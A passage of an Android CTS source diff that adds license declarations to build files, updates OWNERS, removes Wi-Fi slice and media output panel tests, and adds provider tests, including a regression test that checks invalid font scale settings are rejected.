+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsProviderTestCases",
     defaults: ["cts_defaults"],
@@ -18,13 +22,13 @@
     ],
 
     static_libs: [
-        "androidx.slice_slice-core",
-        "androidx.slice_slice-view",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "junit",
         "truth-prebuilt",
         "mockito-target-minus-junit4",
+        // TODO: remove testng once Android migrates to JUnit 4.12, which provides assertThrows
+        "testng",
     ],
 
     jni_libs: [
@@ -44,3 +48,9 @@
 
     data: [":CtsProviderGalleryTestApp"],
 }
+
+filegroup {
+    name: "CtsProviderTestUtils",
+    srcs: ["src/android/provider/cts/ProviderTestUtils.java",
+           "src/android/provider/cts/media/MediaStoreUtils.java"],
+}
diff --git a/tests/tests/provider/AndroidManifest.xml b/tests/tests/provider/AndroidManifest.xml
index 84d2528..a4f55b3 100644
--- a/tests/tests/provider/AndroidManifest.xml
+++ b/tests/tests/provider/AndroidManifest.xml
@@ -46,8 +46,6 @@
     <uses-permission android:name="android.permission.READ_CONTACTS" />
     <uses-permission android:name="android.permission.READ_SMS" />
     <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
 
     <application>
         <uses-library android:name="android.test.runner"/>
diff --git a/tests/tests/provider/OWNERS b/tests/tests/provider/OWNERS
index 5861cd2..79975c0 100644
--- a/tests/tests/provider/OWNERS
+++ b/tests/tests/provider/OWNERS
@@ -1,8 +1,7 @@
 # Bug component: 655625
-nandana@google.com
-zezeozue@google.com
-jsharkey@android.com
-corinac@google.com
+
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
+
 tgunn@google.com
 nicksauer@google.com
 nona@google.com
diff --git a/tests/tests/provider/app/GalleryTestApp/Android.bp b/tests/tests/provider/app/GalleryTestApp/Android.bp
index 9f2359c..ef430de 100644
--- a/tests/tests/provider/app/GalleryTestApp/Android.bp
+++ b/tests/tests/provider/app/GalleryTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsProviderGalleryTestApp",
 
diff --git a/tests/tests/provider/preconditions/Android.bp b/tests/tests/provider/preconditions/Android.bp
index 2f2dfae..71dd378 100644
--- a/tests/tests/provider/preconditions/Android.bp
+++ b/tests/tests/provider/preconditions/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_helper_library {
     name: "compatibility-host-provider-preconditions",
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/provider/res/raw/testvideo2.mp4 b/tests/tests/provider/res/raw/testvideo2.mp4
index 1be8bee..216d330 100644
--- a/tests/tests/provider/res/raw/testvideo2.mp4
+++ b/tests/tests/provider/res/raw/testvideo2.mp4
Binary files differ
diff --git a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
index 942d4f4..e24c3e1 100644
--- a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
@@ -73,6 +73,7 @@
 import java.security.MessageDigest;
 import java.util.HashSet;
 import java.util.Objects;
+import java.util.Set;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
@@ -94,8 +95,16 @@
     public static Iterable<String> getSharedVolumeNames() {
         // We test both new and legacy volume names
         final HashSet<String> testVolumes = new HashSet<>();
-        testVolumes.addAll(
-                MediaStore.getExternalVolumeNames(InstrumentationRegistry.getTargetContext()));
+        final Set<String> volumeNames = MediaStore.getExternalVolumeNames(
+                InstrumentationRegistry.getTargetContext());
+        // Run tests only on VISIBLE volumes which are FUSE mounted and indexed by MediaProvider
+        for (String vol : volumeNames) {
+            final File mountedPath = getVolumePath(vol);
+            if (mountedPath == null || mountedPath.getAbsolutePath() == null) continue;
+            if (mountedPath.getAbsolutePath().startsWith("/storage/")) {
+                testVolumes.add(vol);
+            }
+        }
         testVolumes.add(MediaStore.VOLUME_EXTERNAL);
         return testVolumes;
     }
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index e18a365..e842917 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -56,19 +56,13 @@
     private static final String RESOURCE_DONE = "done";
     private static final String RESOURCE_SEE_MORE = "see_more";
     private static final String RESOURCE_TITLE = "panel_title";
-    private static final String RESOURCE_HEADER = "header_title";
-    private static final String TEST_PACKAGE_NAME = "test_package_name";
-    private static final String MEDIA_OUTPUT_TITLE_NAME = "Media";
-    private static final String ACTION_MEDIA_OUTPUT =
-            "com.android.settings.panel.action.MEDIA_OUTPUT";
-    private static final String EXTRA_PACKAGE_NAME =
-            "com.android.settings.panel.extra.PACKAGE_NAME";
 
     private String mSettingsPackage;
     private String mLauncherPackage;
 
     private Context mContext;
     private boolean mHasTouchScreen;
+    private boolean mHasBluetooth;
 
     private UiDevice mDevice;
 
@@ -81,6 +75,7 @@
 
         mHasTouchScreen = packageManager.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
                 || packageManager.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
+        mHasBluetooth = packageManager.hasSystemFeature(PackageManager.FEATURE_BLUETOOTH);
 
         Intent launcherIntent = new Intent(Intent.ACTION_MAIN);
         launcherIntent.addCategory(Intent.CATEGORY_HOME);
@@ -131,26 +126,6 @@
     }
 
     @Test
-    public void mediaOutputPanel_withPackageNameExtra_correctPackage() {
-        assumeTrue(mHasTouchScreen);
-        launchMediaOutputPanel(TEST_PACKAGE_NAME);
-
-        String currentPackage = mDevice.getCurrentPackageName();
-
-        assertThat(currentPackage).isEqualTo(mSettingsPackage);
-    }
-
-    @Test
-    public void mediaOutputPanel_noPutPackageNameExtra_correctPackage() {
-        assumeTrue(mHasTouchScreen);
-        launchMediaOutputPanel(null /* packageName */);
-
-        String currentPackage = mDevice.getCurrentPackageName();
-
-        assertThat(currentPackage).isEqualTo(mSettingsPackage);
-    }
-
-    @Test
     public void wifiPanel_correctPackage() {
         launchWifiPanel();
 
@@ -160,15 +135,6 @@
     }
 
     @Test
-    public void mediaOutputPanel_correctTitle() {
-        assumeTrue(mHasTouchScreen);
-        launchMediaOutputPanel(TEST_PACKAGE_NAME);
-
-        final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_HEADER));
-
-        assertThat(titleView.getText()).isEqualTo(MEDIA_OUTPUT_TITLE_NAME);
-    }
-    @Test
     public void internetPanel_doneClosesPanel() {
         // Launch panel
         launchInternetPanel();
@@ -230,23 +196,6 @@
     }
 
     @Test
-    public void mediaOutputPanel_doneClosesPanel() {
-        assumeTrue(mHasTouchScreen);
-        // Launch panel
-        launchMediaOutputPanel(TEST_PACKAGE_NAME);
-        String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(mSettingsPackage);
-
-        // Click the done button
-        mDevice.findObject(By.res(currentPackage, RESOURCE_DONE)).click();
-        mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
-
-        // Assert that we have left the panel
-        currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isNotEqualTo(mSettingsPackage);
-    }
-
-    @Test
     public void internetPanel_seeMoreButton_launchesIntoSettings() {
         // Launch panel
         launchInternetPanel();
@@ -316,20 +265,6 @@
         assertThat(titleView).isNull();
     }
 
-    @Test
-    public void mediaOutputPanel_seeMoreButton_doNothing() {
-        assumeTrue(mHasTouchScreen);
-        // Launch panel
-        launchMediaOutputPanel(TEST_PACKAGE_NAME);
-        String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(mSettingsPackage);
-
-        // Find the see more button
-        // SeeMoreIntent is null in MediaOutputPanel, so the see more button will not visible.
-        UiObject2 seeMoreView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_SEE_MORE));
-        assertThat(seeMoreView).isNull();
-    }
-
     private void launchVolumePanel() {
         launchPanel(Settings.Panel.ACTION_VOLUME);
     }
@@ -338,10 +273,6 @@
         launchPanel(Settings.Panel.ACTION_INTERNET_CONNECTIVITY);
     }
 
-    private void launchMediaOutputPanel(String packageName) {
-        launchPanel(ACTION_MEDIA_OUTPUT, packageName);
-    }
-
     private void launchNfcPanel() {
         assumeTrue(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_NFC));
         launchPanel(Settings.Panel.ACTION_NFC);
@@ -353,10 +284,6 @@
     }
 
     private void launchPanel(String action) {
-        launchPanel(action,  null /* packageName */);
-    }
-
-    private void launchPanel(String action, String packageName) {
         // Start from the home screen
         mDevice.pressHome();
         mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
@@ -364,7 +291,6 @@
         Intent intent = new Intent(action);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK
                 | Intent.FLAG_ACTIVITY_CLEAR_TASK);    // Clear out any previous instances
-        intent.putExtra(EXTRA_PACKAGE_NAME, packageName);
         mContext.startActivity(intent);
 
         // Wait for the app to appear
diff --git a/tests/tests/provider/src/android/provider/cts/WifiSliceTest.java b/tests/tests/provider/src/android/provider/cts/WifiSliceTest.java
deleted file mode 100644
index 978311a..0000000
--- a/tests/tests/provider/src/android/provider/cts/WifiSliceTest.java
+++ /dev/null
@@ -1,161 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.content.pm.PackageManager.PERMISSION_GRANTED;
-import static com.google.common.truth.Truth.assertThat;
-import static org.junit.Assume.assumeFalse;
-
-import android.app.slice.Slice;
-import android.app.slice.SliceManager;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.content.pm.ResolveInfo;
-import android.net.Uri;
-import android.net.wifi.WifiManager;
-import android.os.Process;
-import android.util.Log;
-
-import androidx.slice.SliceConvert;
-import androidx.slice.SliceMetadata;
-import androidx.slice.core.SliceAction;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.Collections;
-import java.util.List;
-
-@RunWith(AndroidJUnit4.class)
-public class WifiSliceTest {
-  private static final String TAG = "WifiSliceTest";
-
-  private static final Uri WIFI_SLICE_URI =
-          Uri.parse("content://android.settings.slices/action/wifi");
-
-  private static final String ACTION_ASSIST = "android.intent.action.ASSIST";
-  private static final String ACTION_VOICE_ASSIST = "android.intent.action.VOICE_ASSIST";
-  private static final String CATEGORY_DEFAULT = "android.intent.category.DEFAULT";
-  private static final String FEATURE_VOICE_RECOGNIZERS = "android.software.voice_recognizers";
-
-  private final Context mContext = InstrumentationRegistry.getContext();
-  private final SliceManager mSliceManager = mContext.getSystemService(SliceManager.class);
-  private final boolean mHasVoiceRecognizersFeature =
-          mContext.getPackageManager().hasSystemFeature(FEATURE_VOICE_RECOGNIZERS);
-
-  private Slice mWifiSlice;
-
-  @Before
-  public void setUp() throws Exception {
-    assumeFalse("Skipping test: Auto does not support provider android.settings.slices", isCar());
-    assumeFalse("Skipping test: TV does not support provider android.settings.slices", isTv());
-    mWifiSlice = mSliceManager.bindSlice(WIFI_SLICE_URI, Collections.emptySet());
-  }
-
-  @Test
-  public void wifiSliceToggle_changeWifiState() {
-    SliceMetadata mWifiSliceMetadata =
-            SliceMetadata.from(mContext, SliceConvert.wrap(mWifiSlice, mContext));
-    List<SliceAction> wifiSliceActions = mWifiSliceMetadata.getToggles();
-    if (wifiSliceActions.size() != 0) {
-      SliceAction toggleAction = wifiSliceActions.get(0);
-
-      toggleAction.setChecked(true);
-      assertThat(toggleAction.isChecked()).isEqualTo(isWifiEnabled());
-
-      toggleAction.setChecked(false);
-      assertThat(toggleAction.isChecked()).isEqualTo(isWifiEnabled());
-    }
-  }
-
-  @Test
-  public void wifiSlice_hasCorrectUri() {
-    assertThat(mWifiSlice.getUri()).isEqualTo(WIFI_SLICE_URI);
-  }
-
-  @Test
-  public void wifiSlice_grantedPermissionToDefaultAssistant() throws NameNotFoundException {
-    if (!mHasVoiceRecognizersFeature) {
-      Log.i(TAG, "The device doesn't support feature: " + FEATURE_VOICE_RECOGNIZERS);
-      return;
-    }
-    final PackageManager pm = mContext.getPackageManager();
-    final Intent requestDefaultAssistant =
-            new Intent(ACTION_ASSIST).addCategory(CATEGORY_DEFAULT);
-
-    final List<ResolveInfo> infos = pm.queryIntentActivities(requestDefaultAssistant, 0);
-
-    if (!infos.isEmpty()) {
-      final int testPid = Process.myPid();
-      boolean permissionGranted = false;
-      for (ResolveInfo info : infos) {
-        final int testUid = pm.getPackageUid(info.activityInfo.packageName, 0);
-
-        if (mSliceManager.checkSlicePermission(WIFI_SLICE_URI, testPid, testUid)
-                == PERMISSION_GRANTED) {
-          permissionGranted = true;
-          break;
-        }
-      }
-      assertThat(permissionGranted).isTrue();
-    }
-  }
-
-  @Test
-  public void wifiSlice_grantedPermissionToDefaultVoiceAssistant() throws NameNotFoundException {
-    if (!mHasVoiceRecognizersFeature) {
-      Log.i(TAG, "The device doesn't support feature: " + FEATURE_VOICE_RECOGNIZERS);
-      return;
-    }
-    final PackageManager pm = mContext.getPackageManager();
-    final Intent requestDefaultAssistant =
-            new Intent(ACTION_VOICE_ASSIST).addCategory(CATEGORY_DEFAULT);
-
-    final ResolveInfo info = pm.resolveActivity(requestDefaultAssistant, 0);
-
-    if (info != null) {
-      final int testPid = Process.myPid();
-      final int testUid = pm.getPackageUid(info.activityInfo.packageName, 0);
-
-      assertThat(mSliceManager.checkSlicePermission(WIFI_SLICE_URI, testPid, testUid))
-              .isEqualTo(PERMISSION_GRANTED);
-    }
-  }
-
-  private boolean isCar() {
-    PackageManager pm = mContext.getPackageManager();
-    return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
-  }
-
-  private boolean isTv() {
-    PackageManager pm = mContext.getPackageManager();
-    return pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
-            && pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
-  }
-
-  private boolean isWifiEnabled() {
-    final WifiManager wifiManager = mContext.getSystemService(WifiManager.class);
-    return wifiManager.getWifiState() == WifiManager.WIFI_STATE_ENABLED
-            || wifiManager.getWifiState() == WifiManager.WIFI_STATE_ENABLING;
-  }
-
-}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java
index 3bb3ca3..797fd14 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java
@@ -28,6 +28,7 @@
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.provider.MediaStore;
+import android.provider.cts.ProviderTestUtils;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -58,7 +59,7 @@
 
     @Parameters
     public static Iterable<? extends Object> data() {
-        return MediaStore.getExternalVolumeNames(InstrumentationRegistry.getTargetContext());
+        return ProviderTestUtils.getSharedVolumeNames();
     }
 
     @Before
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
index 479c3ab..11a0e66 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
@@ -17,8 +17,6 @@
 package android.provider.cts.media;
 
 import static android.provider.cts.ProviderTestUtils.assertColorMostlyEquals;
-import static android.provider.cts.ProviderTestUtils.assertExists;
-import static android.provider.cts.ProviderTestUtils.assertNotExists;
 import static android.provider.cts.ProviderTestUtils.extractAverageColor;
 import static android.provider.cts.media.MediaStoreTest.TAG;
 
@@ -51,6 +49,9 @@
 import android.provider.cts.R;
 import android.provider.cts.media.MediaStoreUtils.PendingParams;
 import android.provider.cts.media.MediaStoreUtils.PendingSession;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
 import android.util.DisplayMetrics;
 import android.util.Log;
 import android.util.Size;
@@ -69,6 +70,7 @@
 
 import java.io.File;
 import java.io.FileNotFoundException;
+import java.io.IOException;
 import java.io.OutputStream;
 import java.util.ArrayList;
 
@@ -211,7 +213,7 @@
         c.close();
 
         ProviderTestUtils.waitForIdle();
-        assertExists("image file does not exist", imagePath);
+        assertFileExists(imagePath);
         assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
         assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
 
@@ -222,7 +224,7 @@
         mRowsAdded.remove(stringUri);
 
         ProviderTestUtils.waitForIdle();
-        assertNotExists("image file should no longer exist", imagePath);
+        assertFileNotExists(imagePath);
         assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
         assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
 
@@ -234,10 +236,10 @@
         imageId = c.getLong(c.getColumnIndex(Media._ID));
         imagePath = c.getString(c.getColumnIndex(Media.DATA));
         c.close();
-        assertExists("image file does not exist", imagePath);
+        assertFileExists(imagePath);
         Uri fileuri = MediaStore.Files.getContentUri("external", imageId);
         mContentResolver.delete(fileuri, null, null);
-        assertNotExists("image file should no longer exist", imagePath);
+        assertFileNotExists(imagePath);
     }
 
     @Test
@@ -503,4 +505,26 @@
         bitmap.compress(Bitmap.CompressFormat.PNG, 90, out);
     }
 
+    private static void assertFileExists(String path) throws Exception {
+        try {
+            Os.access(path, OsConstants.F_OK);
+        } catch (ErrnoException e) {
+            if (e.errno == OsConstants.ENOENT) {
+                fail("File " + path + " doesn't exist.");
+            } else {
+                throw e;
+            }
+        }
+    }
+
+    private static void assertFileNotExists(String path) throws Exception {
+        try {
+            Os.access(path, OsConstants.F_OK);
+            fail("File " + path + " exists.");
+        } catch (ErrnoException e) {
+            if (e.errno != OsConstants.ENOENT) {
+                throw e;
+            }
+        }
+    }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
index 5026c0ed..d54e41d 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
@@ -16,8 +16,6 @@
 
 package android.provider.cts.media;
 
-import static android.provider.cts.ProviderTestUtils.assertExists;
-import static android.provider.cts.ProviderTestUtils.assertNotExists;
 import static android.provider.cts.media.MediaStoreTest.TAG;
 
 import static org.junit.Assert.assertEquals;
@@ -26,6 +24,7 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.testng.Assert.assertThrows;
 
 import android.content.ContentResolver;
 import android.content.ContentUris;
@@ -60,6 +59,7 @@
 
 import java.io.ByteArrayOutputStream;
 import java.io.File;
+import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
@@ -179,13 +179,13 @@
             new File(externalVideoPath).delete();
         }
 
-        // check that the video file is removed when deleting the database entry
+        // check that the file is not available when deleting the database entry
         Context context = mContext;
         Uri videoUri = insertVideo(context);
-        File videofile = new File(ProviderTestUtils.stageDir(mVolumeName), "testVideo.3gp");
-        assertExists(videofile);
+        assertNotNull("Cannot open " + videoUri, mContentResolver.openFile(videoUri, "r", null));
         mContentResolver.delete(videoUri, null, null);
-        assertNotExists(videofile);
+        assertThrows(FileNotFoundException.class, () -> mContentResolver.openFile(videoUri, "r",
+                null));
     }
 
     private Uri insertVideo(Context context) throws IOException {
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
index 1af29a2..16d595f 100644
--- a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
@@ -17,14 +17,17 @@
 package android.provider.cts.settings;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.content.ContentResolver;
 import android.content.res.Configuration;
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.SystemClock;
+import android.platform.test.annotations.SecurityTest;
 import android.provider.Settings;
 import android.provider.Settings.SettingNotFoundException;
 import android.provider.Settings.System;
@@ -94,7 +97,7 @@
             // insert 4 rows, and update 1 rows
             assertTrue(System.putInt(cr, INT_FIELD, 2));
             assertTrue(System.putLong(cr, LONG_FIELD, 20l));
-            assertTrue(System.putFloat(cr, FLOAT_FIELD, 30.0f));
+            assertTrue(System.putFloat(cr, FLOAT_FIELD, 1.3f));
             assertTrue(System.putString(cr, STRING_FIELD, stringValue));
 
             c = cr.query(System.CONTENT_URI, null, null, null, null);
@@ -104,7 +107,7 @@
             // get these rows to assert
             assertEquals(2, System.getInt(cr, INT_FIELD));
             assertEquals(20l, System.getLong(cr, LONG_FIELD));
-            assertEquals(30.0f, System.getFloat(cr, FLOAT_FIELD), 0.001);
+            assertEquals(1.3f, System.getFloat(cr, FLOAT_FIELD), 0.001);
             assertEquals(stringValue, System.getString(cr, STRING_FIELD));
 
             c = cr.query(System.CONTENT_URI, null, null, null, null);
@@ -137,6 +140,38 @@
         }
     }
 
+    /**
+     * Verifies that the invalid values for the font scale setting are rejected.
+     */
+    @SecurityTest(minPatchLevel = "2021-02")
+    @Test
+    public void testSystemSettingsRejectInvalidFontSizeScale() throws SettingNotFoundException {
+        final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+        // First put in a valid value
+        assertTrue(System.putFloat(cr, FLOAT_FIELD, 1.15f));
+        try {
+            assertFalse(System.putFloat(cr, FLOAT_FIELD, Float.MAX_VALUE));
+            fail("Should throw");
+        } catch (IllegalArgumentException e) {
+        }
+        try {
+            assertFalse(System.putFloat(cr, FLOAT_FIELD, -1f));
+            fail("Should throw");
+        } catch (IllegalArgumentException e) {
+        }
+        try {
+            assertFalse(System.putFloat(cr, FLOAT_FIELD, 0.1f));
+            fail("Should throw");
+        } catch (IllegalArgumentException e) {
+        }
+        try {
+            assertFalse(System.putFloat(cr, FLOAT_FIELD, 30.0f));
+            fail("Should throw");
+        } catch (IllegalArgumentException e) {
+        }
+        assertEquals(1.15f, System.getFloat(cr, FLOAT_FIELD), 0.001);
+    }
+
     @Test
     public void testGetDefaultValues() {
         final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
diff --git a/tests/tests/renderscript/libcoremathtestcpp/Android.bp b/tests/tests/renderscript/libcoremathtestcpp/Android.bp
index 98717ea..d6c48c1 100644
--- a/tests/tests/renderscript/libcoremathtestcpp/Android.bp
+++ b/tests/tests/renderscript/libcoremathtestcpp/Android.bp
@@ -16,6 +16,10 @@
 // This is the shared library included by the JNI test app.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libcoremathtestcpp_jni",
     srcs: ["CoreMathTestJni.cpp"],
diff --git a/tests/tests/renderscriptlegacy/AndroidTest.xml b/tests/tests/renderscriptlegacy/AndroidTest.xml
index 33dff52..43fa7ee 100644
--- a/tests/tests/renderscriptlegacy/AndroidTest.xml
+++ b/tests/tests/renderscriptlegacy/AndroidTest.xml
@@ -19,6 +19,11 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <!-- The test can only run on 32 bit abi  -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.ArchModuleController">
+        <option name="arch" value="x86" />
+        <option name="arch" value="arm" />
+    </object>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsRenderscriptLegacyTestCases.apk" />
diff --git a/tests/tests/resolverservice/Android.bp b/tests/tests/resolverservice/Android.bp
index af92ff1..b2187f8 100644
--- a/tests/tests/resolverservice/Android.bp
+++ b/tests/tests/resolverservice/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsResolverServiceTestCases",
     sdk_version: "system_current",
diff --git a/tests/tests/resourcesloader/Android.bp b/tests/tests/resourcesloader/Android.bp
index 07c0517..d220e0a 100644
--- a/tests/tests/resourcesloader/Android.bp
+++ b/tests/tests/resourcesloader/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsResourcesLoaderTests",
     defaults: ["cts_defaults"],
@@ -68,4 +72,4 @@
     cmd: "mkdir -p $(genDir)/assets/ && cp $(in) $(genDir)/assets/ && " +
          "$(location soong_zip) -o $(out) " +
          "-L 0 -C $(genDir) -D $(genDir)/assets/"
-}
\ No newline at end of file
+}
diff --git a/tests/tests/resourcesloader/resources/Android.bp b/tests/tests/resourcesloader/resources/Android.bp
index 8454206..8a923f8 100644
--- a/tests/tests/resourcesloader/resources/Android.bp
+++ b/tests/tests/resourcesloader/resources/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsResourcesLoaderTests_ProviderOne",
     manifest: "AndroidManifestApp.xml",
@@ -112,4 +116,4 @@
     asset_dirs: ["provider4/assets"],
     resource_dirs: ["provider4/res", "provider_stable/res"],
     aaptflags: ["-0 .txt"]
-}
\ No newline at end of file
+}
diff --git a/tests/tests/role/Android.bp b/tests/tests/role/Android.bp
index 6604415..ca4939a 100644
--- a/tests/tests/role/Android.bp
+++ b/tests/tests/role/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsRoleTestCases",
     sdk_version: "test_current",
diff --git a/tests/tests/role/CtsRoleTestApp/Android.bp b/tests/tests/role/CtsRoleTestApp/Android.bp
index ac9a6c1..595afe3c 100644
--- a/tests/tests/role/CtsRoleTestApp/Android.bp
+++ b/tests/tests/role/CtsRoleTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsRoleTestApp",
     sdk_version: "test_current",
diff --git a/tests/tests/role/CtsRoleTestApp28/Android.bp b/tests/tests/role/CtsRoleTestApp28/Android.bp
index 0e82deb..462ab04 100644
--- a/tests/tests/role/CtsRoleTestApp28/Android.bp
+++ b/tests/tests/role/CtsRoleTestApp28/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsRoleTestApp28",
     sdk_version: "test_current",
diff --git a/tests/tests/role/OWNERS b/tests/tests/role/OWNERS
index 904ef0b..f297ddb 100644
--- a/tests/tests/role/OWNERS
+++ b/tests/tests/role/OWNERS
@@ -1,5 +1,4 @@
 # Bug component: 137825
 zhanghai@google.com
 svetoslavganov@google.com
-moltmann@google.com
 eugenesusla@google.com
diff --git a/tests/tests/rsblas/libbnnmdata/Android.bp b/tests/tests/rsblas/libbnnmdata/Android.bp
index f9ffb54..668f607 100644
--- a/tests/tests/rsblas/libbnnmdata/Android.bp
+++ b/tests/tests/rsblas/libbnnmdata/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_library_shared {
     name: "libbnnmdata_jni",
     srcs: ["test_data.cpp"],
diff --git a/tests/tests/rscpp/librscpptest/Android.mk b/tests/tests/rscpp/librscpptest/Android.mk
index f9370cc..41534b7 100644
--- a/tests/tests/rscpp/librscpptest/Android.mk
+++ b/tests/tests/rscpp/librscpptest/Android.mk
@@ -19,6 +19,8 @@
 include $(CLEAR_VARS)
 LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
 LOCAL_MODULE := librscpptest_jni
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_TAGS := optional
 
 LOCAL_SRC_FILES := \
@@ -54,6 +56,3 @@
